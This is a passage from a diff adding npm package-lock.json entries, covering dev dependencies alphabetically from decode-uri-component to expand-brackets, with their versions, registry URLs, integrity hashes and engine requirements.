+ "integrity": "sha512-VBBaLc1MgL5XpzgIP7ny5Z6Nx3UrRkIViUkPUdtl9aya5amy3De1gsUUSB1g3+3sExYNjCAsAznmukyxCb1GRA==",
+ "dev": true
+ },
+ "node_modules/decode-uri-component": {
+ "version": "0.2.2",
+ "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.2.tgz",
+ "integrity": "sha512-FqUYQ+8o158GyGTrMFJms9qh3CqTKvAqgqsTnkLI8sKu0028orqBhxNMFkFen0zGyg6epACD32pjVk58ngIErQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10"
+ }
+ },
+ "node_modules/deep-eql": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-3.0.1.tgz",
+ "integrity": "sha512-+QeIQyN5ZuO+3Uk5DYh6/1eKO0m0YmJFGNmFHGACpf1ClL1nmlV/p4gNgbl2pJGxgXb4faqo6UE+M5ACEMyVcw==",
+ "dev": true,
+ "dependencies": {
+ "type-detect": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=0.12"
+ }
+ },
+ "node_modules/deep-is": {
+ "version": "0.1.4",
+ "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz",
+ "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==",
+ "dev": true
+ },
+ "node_modules/default-compare": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/default-compare/-/default-compare-1.0.0.tgz",
+ "integrity": "sha512-QWfXlM0EkAbqOCbD/6HjdwT19j7WCkMyiRhWilc4H9/5h/RzTF9gv5LYh1+CmDV5d1rki6KAWLtQale0xt20eQ==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^5.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/default-compare/node_modules/kind-of": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+ "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/default-require-extensions": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/default-require-extensions/-/default-require-extensions-3.0.1.tgz",
+ "integrity": "sha512-eXTJmRbm2TIt9MgWTsOH1wEuhew6XGZcMeGKCtLedIg/NCsg1iBePXkceTdK4Fii7pzmN9tGsZhKzZ4h7O/fxw==",
+ "dev": true,
+ "dependencies": {
+ "strip-bom": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/default-resolution": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/default-resolution/-/default-resolution-2.0.0.tgz",
+ "integrity": "sha512-2xaP6GiwVwOEbXCGoJ4ufgC76m8cj805jrghScewJC2ZDsb9U0b4BIrba+xt/Uytyd0HvQ6+WymSRTfnYj59GQ==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/define-properties": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.0.tgz",
+ "integrity": "sha512-xvqAVKGfT1+UAvPwKTVw/njhdQ8ZhXK4lI0bCIuCMrp2up9nPnaDftrLtmpTazqd1o+UY4zgzU+avtMbDP+ldA==",
+ "dev": true,
+ "dependencies": {
+ "has-property-descriptors": "^1.0.0",
+ "object-keys": "^1.1.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/define-property": {
+ "version": "0.2.5",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+ "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==",
+ "dev": true,
+ "dependencies": {
+ "is-descriptor": "^0.1.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/del": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/del/-/del-6.0.0.tgz",
+ "integrity": "sha512-1shh9DQ23L16oXSZKB2JxpL7iMy2E0S9d517ptA1P8iw0alkPtQcrKH7ru31rYtKwF499HkTu+DRzq3TCKDFRQ==",
+ "dev": true,
+ "dependencies": {
+ "globby": "^11.0.1",
+ "graceful-fs": "^4.2.4",
+ "is-glob": "^4.0.1",
+ "is-path-cwd": "^2.2.0",
+ "is-path-inside": "^3.0.2",
+ "p-map": "^4.0.0",
+ "rimraf": "^3.0.2",
+ "slash": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/delayed-stream": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
+ "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.4.0"
+ }
+ },
+ "node_modules/dependency-graph": {
+ "version": "0.11.0",
+ "resolved": "https://registry.npmjs.org/dependency-graph/-/dependency-graph-0.11.0.tgz",
+ "integrity": "sha512-JeMq7fEshyepOWDfcfHK06N3MhyPhz++vtqWhMT5O9A3K42rdsEDpfdVqjaqaAhsw6a+ZqeDvQVtD0hFHQWrzg==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.6.0"
+ }
+ },
+ "node_modules/detect-file": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/detect-file/-/detect-file-1.0.0.tgz",
+ "integrity": "sha512-DtCOLG98P007x7wiiOmfI0fi3eIKyWiLTGJ2MDnVi/E04lWGbf+JzrRHMm0rgIIZJGtHpKpbVgLWHrv8xXpc3Q==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/didyoumean": {
+ "version": "1.2.2",
+ "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz",
+ "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==",
+ "dev": true
+ },
+ "node_modules/diff": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/diff/-/diff-5.0.0.tgz",
+ "integrity": "sha512-/VTCrvm5Z0JGty/BWHljh+BAiw3IK+2j87NGMu8Nwc/f48WoDAC395uomO9ZD117ZOBaHmkX1oyLvkVM/aIT3w==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.3.1"
+ }
+ },
+ "node_modules/dir-glob": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz",
+ "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==",
+ "dev": true,
+ "dependencies": {
+ "path-type": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/dlv": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz",
+ "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==",
+ "dev": true
+ },
+ "node_modules/doctrine": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz",
+ "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==",
+ "dev": true,
+ "dependencies": {
+ "esutils": "^2.0.2"
+ },
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/domexception": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/domexception/-/domexception-4.0.0.tgz",
+ "integrity": "sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw==",
+ "dev": true,
+ "dependencies": {
+ "webidl-conversions": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/duplexer": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/duplexer/-/duplexer-0.1.2.tgz",
+ "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==",
+ "dev": true
+ },
+ "node_modules/duplexify": {
+ "version": "3.7.1",
+ "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.7.1.tgz",
+ "integrity": "sha512-07z8uv2wMyS51kKhD1KsdXJg5WQ6t93RneqRxUHnskXVtlYYkLqM0gqStQZ3pj073g687jPCHrqNfCzawLYh5g==",
+ "dev": true,
+ "dependencies": {
+ "end-of-stream": "^1.0.0",
+ "inherits": "^2.0.1",
+ "readable-stream": "^2.0.0",
+ "stream-shift": "^1.0.0"
+ }
+ },
+ "node_modules/each-props": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/each-props/-/each-props-1.3.2.tgz",
+ "integrity": "sha512-vV0Hem3zAGkJAyU7JSjixeU66rwdynTAa1vofCrSA5fEln+m67Az9CcnkVD776/fsN/UjIWmBDoNRS6t6G9RfA==",
+ "dev": true,
+ "dependencies": {
+ "is-plain-object": "^2.0.1",
+ "object.defaults": "^1.1.0"
+ }
+ },
+ "node_modules/electron-to-chromium": {
+ "version": "1.4.466",
+ "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.466.tgz",
+ "integrity": "sha512-TSkRvbXRXD8BwhcGlZXDsbI2lRoP8dvqR7LQnqQNk9KxXBc4tG8O+rTuXgTyIpEdiqSGKEBSqrxdqEntnjNncA==",
+ "dev": true
+ },
+ "node_modules/emoji-regex": {
+ "version": "8.0.0",
+ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+ "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+ "dev": true
+ },
+ "node_modules/end-of-stream": {
+ "version": "1.4.4",
+ "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz",
+ "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==",
+ "dev": true,
+ "dependencies": {
+ "once": "^1.4.0"
+ }
+ },
+ "node_modules/enhanced-resolve": {
+ "version": "5.15.0",
+ "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.15.0.tgz",
+ "integrity": "sha512-LXYT42KJ7lpIKECr2mAXIaMldcNCh/7E0KBKOu4KSfkHmP+mZmSs+8V5gBAqisWBy0OO4W5Oyys0GO1Y8KtdKg==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "graceful-fs": "^4.2.4",
+ "tapable": "^2.2.0"
+ },
+ "engines": {
+ "node": ">=10.13.0"
+ }
+ },
+ "node_modules/enquirer": {
+ "version": "2.3.6",
+ "resolved": "https://registry.npmjs.org/enquirer/-/enquirer-2.3.6.tgz",
+ "integrity": "sha512-yjNnPr315/FjS4zIsUxYguYUPP2e1NK4d7E7ZOLiyYCcbFBiTMyID+2wvm2w6+pZ/odMA7cRkjhsPbltwBOrLg==",
+ "dev": true,
+ "dependencies": {
+ "ansi-colors": "^4.1.1"
+ },
+ "engines": {
+ "node": ">=8.6"
+ }
+ },
+ "node_modules/entities": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/entities/-/entities-2.0.3.tgz",
+ "integrity": "sha512-MyoZ0jgnLvB2X3Lg5HqpFmn1kybDiIfEQmKzTb5apr51Rb+T3KdmMiqa70T+bhGnyv7bQ6WMj2QMHpGMmlrUYQ==",
+ "dev": true
+ },
+ "node_modules/errno": {
+ "version": "0.1.8",
+ "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.8.tgz",
+ "integrity": "sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==",
+ "dev": true,
+ "dependencies": {
+ "prr": "~1.0.1"
+ },
+ "bin": {
+ "errno": "cli.js"
+ }
+ },
+ "node_modules/error-ex": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz",
+ "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==",
+ "dev": true,
+ "dependencies": {
+ "is-arrayish": "^0.2.1"
+ }
+ },
+ "node_modules/es-module-lexer": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.3.0.tgz",
+ "integrity": "sha512-vZK7T0N2CBmBOixhmjdqx2gWVbFZ4DXZ/NyRMZVlJXPa7CyFS+/a4QQsDGDQy9ZfEzxFuNEsMLeQJnKP2p5/JA==",
+ "dev": true,
+ "peer": true
+ },
+ "node_modules/es5-ext": {
+ "version": "0.10.62",
+ "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.62.tgz",
+ "integrity": "sha512-BHLqn0klhEpnOKSrzn/Xsz2UIW8j+cGmo9JLzr8BiUapV8hPL9+FliFqjwr9ngW7jWdnxv6eO+/LqyhJVqgrjA==",
+ "dev": true,
+ "hasInstallScript": true,
+ "dependencies": {
+ "es6-iterator": "^2.0.3",
+ "es6-symbol": "^3.1.3",
+ "next-tick": "^1.1.0"
+ },
+ "engines": {
+ "node": ">=0.10"
+ }
+ },
+ "node_modules/es6-error": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/es6-error/-/es6-error-4.1.1.tgz",
+ "integrity": "sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg==",
+ "dev": true
+ },
+ "node_modules/es6-iterator": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.3.tgz",
+ "integrity": "sha512-zw4SRzoUkd+cl+ZoE15A9o1oQd920Bb0iOJMQkQhl3jNc03YqVjAhG7scf9C5KWRU/R13Orf588uCC6525o02g==",
+ "dev": true,
+ "dependencies": {
+ "d": "1",
+ "es5-ext": "^0.10.35",
+ "es6-symbol": "^3.1.1"
+ }
+ },
+ "node_modules/es6-symbol": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.3.tgz",
+ "integrity": "sha512-NJ6Yn3FuDinBaBRWl/q5X/s4koRHBrgKAu+yGI6JCBeiu3qrcbJhwT2GeR/EXVfylRk8dpQVJoLEFhK+Mu31NA==",
+ "dev": true,
+ "dependencies": {
+ "d": "^1.0.1",
+ "ext": "^1.1.2"
+ }
+ },
+ "node_modules/es6-weak-map": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/es6-weak-map/-/es6-weak-map-2.0.3.tgz",
+ "integrity": "sha512-p5um32HOTO1kP+w7PRnB+5lQ43Z6muuMuIMffvDN8ZB4GcnjLBV6zGStpbASIMk4DCAvEaamhe2zhyCb/QXXsA==",
+ "dev": true,
+ "dependencies": {
+ "d": "1",
+ "es5-ext": "^0.10.46",
+ "es6-iterator": "^2.0.3",
+ "es6-symbol": "^3.1.1"
+ }
+ },
+ "node_modules/escalade": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz",
+ "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==",
+ "dev": true,
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/escape-string-regexp": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
+ "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
+ "dev": true,
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/escodegen": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz",
+ "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==",
+ "dev": true,
+ "dependencies": {
+ "esprima": "^4.0.1",
+ "estraverse": "^5.2.0",
+ "esutils": "^2.0.2"
+ },
+ "bin": {
+ "escodegen": "bin/escodegen.js",
+ "esgenerate": "bin/esgenerate.js"
+ },
+ "engines": {
+ "node": ">=6.0"
+ },
+ "optionalDependencies": {
+ "source-map": "~0.6.1"
+ }
+ },
+ "node_modules/eslint": {
+ "version": "8.0.0",
+ "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.0.0.tgz",
+ "integrity": "sha512-03spzPzMAO4pElm44m60Nj08nYonPGQXmw6Ceai/S4QK82IgwWO1EXx1s9namKzVlbVu3Jf81hb+N+8+v21/HQ==",
+ "dev": true,
+ "dependencies": {
+ "@eslint/eslintrc": "^1.0.2",
+ "@humanwhocodes/config-array": "^0.6.0",
+ "ajv": "^6.10.0",
+ "chalk": "^4.0.0",
+ "cross-spawn": "^7.0.2",
+ "debug": "^4.3.2",
+ "doctrine": "^3.0.0",
+ "enquirer": "^2.3.5",
+ "escape-string-regexp": "^4.0.0",
+ "eslint-scope": "^6.0.0",
+ "eslint-utils": "^3.0.0",
+ "eslint-visitor-keys": "^3.0.0",
+ "espree": "^9.0.0",
+ "esquery": "^1.4.0",
+ "esutils": "^2.0.2",
+ "fast-deep-equal": "^3.1.3",
+ "file-entry-cache": "^6.0.1",
+ "functional-red-black-tree": "^1.0.1",
+ "glob-parent": "^6.0.1",
+ "globals": "^13.6.0",
+ "ignore": "^4.0.6",
+ "import-fresh": "^3.0.0",
+ "imurmurhash": "^0.1.4",
+ "is-glob": "^4.0.0",
+ "js-yaml": "^4.1.0",
+ "json-stable-stringify-without-jsonify": "^1.0.1",
+ "levn": "^0.4.1",
+ "lodash.merge": "^4.6.2",
+ "minimatch": "^3.0.4",
+ "natural-compare": "^1.4.0",
+ "optionator": "^0.9.1",
+ "progress": "^2.0.0",
+ "regexpp": "^3.2.0",
+ "semver": "^7.2.1",
+ "strip-ansi": "^6.0.0",
+ "strip-json-comments": "^3.1.0",
+ "text-table": "^0.2.0",
+ "v8-compile-cache": "^2.0.3"
+ },
+ "bin": {
+ "eslint": "bin/eslint.js"
+ },
+ "engines": {
+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/eslint"
+ }
+ },
+ "node_modules/eslint-scope": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-6.0.0.tgz",
+ "integrity": "sha512-uRDL9MWmQCkaFus8RF5K9/L/2fn+80yoW3jkD53l4shjCh26fCtvJGasxjUqP5OT87SYTxCVA3BwTUzuELx9kA==",
+ "dev": true,
+ "dependencies": {
+ "esrecurse": "^4.3.0",
+ "estraverse": "^5.2.0"
+ },
+ "engines": {
+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+ }
+ },
+ "node_modules/eslint-utils": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-3.0.0.tgz",
+ "integrity": "sha512-uuQC43IGctw68pJA1RgbQS8/NP7rch6Cwd4j3ZBtgo4/8Flj4eGE7ZYSZRN3iq5pVUv6GPdW5Z1RFleo84uLDA==",
+ "dev": true,
+ "dependencies": {
+ "eslint-visitor-keys": "^2.0.0"
+ },
+ "engines": {
+ "node": "^10.0.0 || ^12.0.0 || >= 14.0.0"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/mysticatea"
+ },
+ "peerDependencies": {
+ "eslint": ">=5"
+ }
+ },
+ "node_modules/eslint-utils/node_modules/eslint-visitor-keys": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz",
+ "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==",
+ "dev": true,
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/eslint-visitor-keys": {
+ "version": "3.4.1",
+ "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.1.tgz",
+ "integrity": "sha512-pZnmmLwYzf+kWaM/Qgrvpen51upAktaaiI01nsJD/Yr3lMOdNtq0cxkrrg16w64VtisN6okbs7Q8AfGqj4c9fA==",
+ "dev": true,
+ "engines": {
+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/eslint"
+ }
+ },
+ "node_modules/eslint/node_modules/globals": {
+ "version": "13.20.0",
+ "resolved": "https://registry.npmjs.org/globals/-/globals-13.20.0.tgz",
+ "integrity": "sha512-Qg5QtVkCy/kv3FUSlu4ukeZDVf9ee0iXLAUYX13gbR17bnejFTzr4iS9bY7kwCf1NztRNm1t91fjOiyx4CSwPQ==",
+ "dev": true,
+ "dependencies": {
+ "type-fest": "^0.20.2"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/eslint/node_modules/lru-cache": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
+ "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
+ "dev": true,
+ "dependencies": {
+ "yallist": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/eslint/node_modules/semver": {
+ "version": "7.5.4",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz",
+ "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==",
+ "dev": true,
+ "dependencies": {
+ "lru-cache": "^6.0.0"
+ },
+ "bin": {
+ "semver": "bin/semver.js"
+ },
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/eslint/node_modules/type-fest": {
+ "version": "0.20.2",
+ "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz",
+ "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/eslint/node_modules/yallist": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
+ "dev": true
+ },
+ "node_modules/espree": {
+ "version": "9.6.1",
+ "resolved": "https://registry.npmjs.org/espree/-/espree-9.6.1.tgz",
+ "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==",
+ "dev": true,
+ "dependencies": {
+ "acorn": "^8.9.0",
+ "acorn-jsx": "^5.3.2",
+ "eslint-visitor-keys": "^3.4.1"
+ },
+ "engines": {
+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/eslint"
+ }
+ },
+ "node_modules/esprima": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
+ "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==",
+ "dev": true,
+ "bin": {
+ "esparse": "bin/esparse.js",
+ "esvalidate": "bin/esvalidate.js"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/esquery": {
+ "version": "1.5.0",
+ "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.5.0.tgz",
+ "integrity": "sha512-YQLXUplAwJgCydQ78IMJywZCceoqk1oH01OERdSAJc/7U2AylwjhSCLDEtqwg811idIS/9fIU5GjG73IgjKMVg==",
+ "dev": true,
+ "dependencies": {
+ "estraverse": "^5.1.0"
+ },
+ "engines": {
+ "node": ">=0.10"
+ }
+ },
+ "node_modules/esrecurse": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz",
+ "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==",
+ "dev": true,
+ "dependencies": {
+ "estraverse": "^5.2.0"
+ },
+ "engines": {
+ "node": ">=4.0"
+ }
+ },
+ "node_modules/estraverse": {
+ "version": "5.3.0",
+ "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz",
+ "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==",
+ "dev": true,
+ "engines": {
+ "node": ">=4.0"
+ }
+ },
+ "node_modules/esutils": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz",
+ "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/event-stream": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/event-stream/-/event-stream-4.0.1.tgz",
+ "integrity": "sha512-qACXdu/9VHPBzcyhdOWR5/IahhGMf0roTeZJfzz077GwylcDd90yOHLouhmv7GJ5XzPi6ekaQWd8AvPP2nOvpA==",
+ "dev": true,
+ "dependencies": {
+ "duplexer": "^0.1.1",
+ "from": "^0.1.7",
+ "map-stream": "0.0.7",
+ "pause-stream": "^0.0.11",
+ "split": "^1.0.1",
+ "stream-combiner": "^0.2.2",
+ "through": "^2.3.8"
+ }
+ },
+ "node_modules/events": {
+ "version": "3.3.0",
+ "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz",
+ "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==",
+ "dev": true,
+ "peer": true,
+ "engines": {
+ "node": ">=0.8.x"
+ }
+ },
+ "node_modules/expand-brackets": {
+ "version": "2.1.4",
+ "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz",
+ "integrity": "sha512-w/ozOKR9Obk3qoWeY/WDi6MFta9AoMR+zud60mdnbniMcBxRuFJyDt2LdX/14A1UABeqk+Uk+LDfUpvoGKppZA==",
+ "dev": true,
+ "dependencies": {
+ "debug": "^2.3.3",
+ "define-property": "^0.2.5",
+ "extend-shallow": "^2.0.1",
+ "posix-character-classes": "^0.1.0",
+ "regex-not": "^1.0.0",
+ "snapdragon": "^0.8.1",
+ "to-regex": "^3.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/expand-brackets/node_modules/debug": {
+ "version": "2.6.9",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+ "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+ "dev": true,
+ "dependencies": {
